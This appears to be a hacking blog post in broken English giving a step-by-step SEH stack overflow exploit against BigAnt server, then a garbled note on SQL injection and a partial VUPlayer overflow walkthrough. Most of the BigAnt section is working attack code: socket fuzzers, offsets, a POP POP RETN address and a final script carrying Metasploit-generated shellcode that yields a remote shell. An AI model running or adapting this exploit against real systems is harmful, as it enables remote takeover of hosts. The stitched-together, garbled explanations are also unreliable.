SEH Based Stack Overflow "BigAnt server"

This time I will try to exploitation on BigAnt server applications

• The first application we will use wireshark, to see BigAnt server application running on port number

bigantserver seen running on port 6660.
good starting point for pushing start

 Another advantage iyalah., we can perform remote
and application which is based SEH stack overflow.


still wondering if What is SEH (Structured Exception Handling)
can be viewed on the link below:
http://msdn.microsoft.com/en-us/library/ms680657%28v=vs.85%29.aspx 

• Let's start by making fuzzing in the command "USV" owned by bigantserver

my fuzzer:

#!/usr/bin/pyton

import socket

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "USV "+"\x41" * 2500 + "\r\n\r\n"

sock.connect(("192.168.56.101", 6660))

sock.send(buffer)

sock.close()

print"you down.."

BigAnt first open the application server. The next open OllyDbg. click on the file menu and click on the menu attach OllyDbg. My next pick Antserver menu.

• running your fuzzing.

• see the results., ESI only the affected memory

• This application crashes, but this time unlike the previous case,
  EIP register are not affected by the buffer that we send.

to look into the SEH, select the menu view -> SEH cain.
will display a table, as shown below

• we then forward the data from the SEH chain into memory.
  press shift + F9

Now note that the EIP be "\ X41"

•  further to see the data that resides in memory applications.
  Right click on the row stack -> follow in dump

• the next stage. locate command POP, POP, RETN
  in OllyDbg we select view -> Executable Modules -> double click on the file vbajet.dll

• after entering into windows CPU from vbajet 32.dll file
  right click -> Search For -> Sequence of Commands

it will display a search window will appear.
enter as the image and click find

• OllyDbg will lead to a memory address in the file vbajet32

OllyDbg now have found the address in memory that is at offset 0F9A196A vbajet32

address pop, pop, retn

• pattren_create next we create a string of 2500 bytes.

copy is to the application fuzzer we have made

• I then put a string pattern in my application fuzzer

fuzzer pattern:

#!/usr/bin/pyton

import socket

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "USV "

buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"+ "\r\n\r\n"

sock.connect(("192.168.56.101", 6660))

sock.send(buffer)

sock.close()

print"you down.."

• behold., BigAnt server to crash. repeat as in the beginning., into the SEH chain and press shif + F9

•  then find the total value obtained in the EIP

•  then change back to your fuzzer

fuzzer:

#!/usr/bin/pyton

import socket

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "USV "

buffer+= "\90" * 962

buffer+= "\xCC\xCC\xCC\xCC"

buffer+= "\x41\x41\x41\x41"

buffer+= "\x90" * (2504 - len(buffer))

buffer+= "\r\n\r\n"

sock.connect(("192.168.56.101", 6660))

sock.send(buffer)

sock.close()

print"you down.."

• after our fishing SEH. Next we enter the fuzzer that has a command POP, POP, RETN

I tried running the fuzzer which has been made​​.,
but always failed.
My next change., almost the same as in the book harmes haking

 

FUZZING:

#!/usr/bin/python

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xCC\xCC\xCC\xCC"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * (2504-len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

print"you down.."

• before running the fuzzing it is restarted again on BigAnt server applications and ollydebg. then make the address on the address of SEH brakpoit memory, plug the module into the poitbreak vbajet32 , then run the fuzzer

• click shift +F9. to continue the process into the memory

• Right click on the first memory -> follow in dump
  shown in the lower left corner "direct memory into the memory stack

• then we make the shellcode using. / msfweb 

• klick generate payload.

• Olly debug and look at the chain safe., seen that seh storing the wrong value

and now try to delete the contents of the payload and restart OllyDbg and see the SEH cain

• then we try to insert a payload-line per line

  

 
 I found a bad character on the line to 14



I've found the bad character
  / x20
and I enter in my gennerade

• I tried re-generade

 

final fuzzer:

#!/usr/bin/python

import socket

target_address="192.168.56.101"

target_port=6660

buffer = "USV "

buffer+= "\x90" * 962

buffer+= "\xeb\x06\x90\x90"

buffer+= "\x6A\x19\x9A\x0F"

buffer+= "\x90" * 16

buffer+= ("\xba\xe9\x35\x3d\x58\x29\xc9\xb1\x51\xdb\xcf\xd9\x74\x24\xf4\x5f" "\x31\x57\x0e\x03\x57\x0e\x83\x2e\x31\xdf\xad\x4c\x50\xf4\x03\x44" "\x5c\xf5\x63\x6b\xff\x81\xf0\xb7\x24\x1d\x4d\x8b\xaf\x5d\x4b\x8b" "\xae\x72\xd8\x24\xa9\x07\x80\x9a\xc8\xfc\x76\x51\xfe\x89\x88\x8b" "\xce\x4d\x13\xff\xb5\x8e\x50\xf8\x74\xc4\x94\x07\xb5\x32\x52\x3c" "\x6d\xe1\xb3\x37\x68\x62\x9c\x93\x73\x9e\x45\x50\x7f\x2b\x01\x39" "\x9c\xaa\xfe\xc6\xb0\x27\x89\xa4\xec\x2b\xeb\xf7\xdc\x88\x8f\x7c" "\x5d\x1f\xdb\xc2\x6e\xd4\xab\xde\xc3\x61\x0b\xd6\x45\x1e\x02\xa8" "\x77\x32\x4a\xcb\x5e\xac\x38\x55\x37\x02\x8d\xf1\xb0\x17\xc3\x5e" "\x6b\x27\xf3\x08\x58\x3a\x08\xf3\x0e\x3a\x27\x5c\x26\x21\xae\xe3" "\xd5\xa2\x2d\xb6\x4f\xb1\xce\xe8\xf8\x6c\x39\xfd\x54\xd9\xc5\x2b" "\xf5\xb5\x6a\x80\xa9\x7a\xde\x65\x1d\x82\x30\x0f\xc9\x6d\xed\xa9" "\x5a\x07\xec\xa0\x35\xb3\xf5\xba\x02\xec\xf6\xec\xe7\x03\x58\x45" "\x07\xf3\x32\xc1\x5a\xda\x2b\x5e\x5a\xf5\xff\x35\x5b\x2a\x97\x50" "\xea\x4d\x21\xcd\x12\x87\xe2\xa5\xb8\x7d\xfc\x95\xd2\x16\xe5\x6c" "\x13\x9f\xbe\x71\x4d\x35\xbe\x5d\x14\xdc\x24\x3b\xb1\x43\xc8\x4a" "\xa4\xee\x42\x15\x0e\x23\xeb\x42\x3a\xff\x65\x6e\x8a\x3f\x86\xc4" "\x13\xfd\x44\xe6\xae\x2e\x04\x9b\x55\x17\x81\x08\x02\x0f\xa7\xb0" "\xe6\xc6\xb8\x39\x4d\x18\x90\x9a\x1a\xb4\x4c\x4d\xf4\x52\x6e\x3c" "\xa7\xf7\x21\x41\x97\x90\x6c\x64\x1d\xaf\x3c\x69\xc8\x45\x3c\x6a" "\xc2\x66\x12\x1f\x7a\x65\x10\xdb\xe1\x6a\xc1\xb1\x16\x44\x86\x4b" "\x31\x87\x24\xe0\x3e\x9e\x34\xd6")

buffer+= "\x90" * (2504-len(buffer))

buffer+= "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

print"you down.."

• BigAnt OllyDbg and restart the server. and put a breakpoint on the address of SEH. note the value of the SEH cain, "according to the expected address" is the vbajet 32.

then do a telnet

and now the windows are fully owned by you

referens: Harmless Hacking

differences SQL injection with SQL blind

• SQL injection:

SQL injection is a hacking technique by manipulating the syntax of SQL (Structured Query Language). data base with SQL processing is done by sending commands (queries) are structured. These techniques include the commands that are used in the database via the URL.

SQL injection usually occurs because of lack telitian programmers to create scripts that will be the SQL query.
hacker can do assault by entering the command in double quotes ('), a minus sign (-), (|) ,(=) and many other code.
and usually an error occurs. and the error manifold.
one example :

Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

• Blind SQL Injection 

Blind SQL is the name of the technique of attack. This technique is done by inserting SQL syntax or command in a web that has vulnerabilities (security holes) to browse the database, but can access the server directly using shell or by posting on the website backdor.

source: http://farizy4n.blogspot.com/2010/12/sql-blind-sql-injection.html

 

vulner VUPlayer version 2:49

1. INFORMATION GATHERING 

application VUPlayer a freeware audio player for Microsoft Windows platforms.
This application can play many kinds of media files, like MP3. a playlist (. pls or. m3u)

This web is VUPlayer: http://www.vuplayer.com/vuplayer.php



2. VULNERABILITY IDENTIVICATION
I tries to find flaws VUPlayer applications., in CVE
and the results

 
  from the data above., allowing an attacker to execute code via a long URL arbiter in the line of the file on the file. PLS.,
and on-bassed stack buffer overflow., allows remote attackers to execute code of the arbitrator. in the HREF attribute of a REF element in a file. ASK.

"of data obtained. VUPlayer applications vulnerable to heap-based buffer overflow., This can be exploited remote attackers to execute arbitrary code machines authority, in a context where the user running the affected application"

• The first experiment I would do is to add URL.,

with stout character., and the results can be seen in the picture below.
 

 click the file and select Add URL

insert as many characters






 











look at Olly debug., ESP register was overwritten with our input is entered.,
and this is a very good prefix.

• at this stage I am trying to create a file. pls.., which contains the / X41 * 56 969

 make surcut use commands in the picture 


 insert sorcat on MPlayer:

then create a file in pattern_offset. This is useful to make sure the address where ESP and EIP., and useful at a later stage

 insert esp address and eip in the application fuzzer

  repeat again at the Olly debbg.

seen, the system performs the reading into the buffer (stack).
stack contains the character \ xCC

 The next stage open the console type. / msfweb

klick generate payload. and insert in fuzzer

.

save seberti repeat previous stage

 then run telnet on console